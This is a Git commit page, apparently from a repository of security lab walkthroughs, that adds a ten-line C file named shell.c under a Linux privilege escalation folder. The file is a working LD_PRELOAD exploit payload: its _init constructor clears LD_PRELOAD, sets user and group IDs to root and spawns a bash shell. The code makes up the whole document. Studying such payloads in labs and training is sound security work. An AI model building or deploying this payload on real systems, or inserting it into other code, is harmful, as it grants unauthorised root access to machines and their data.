initial commit
This commit is contained in:
10
Walkthroughs/LinuxPrivilegeEscalation/shell.c
Normal file
10
Walkthroughs/LinuxPrivilegeEscalation/shell.c
Normal file
@@ -0,0 +1,10 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
Reference in New Issue
Block a user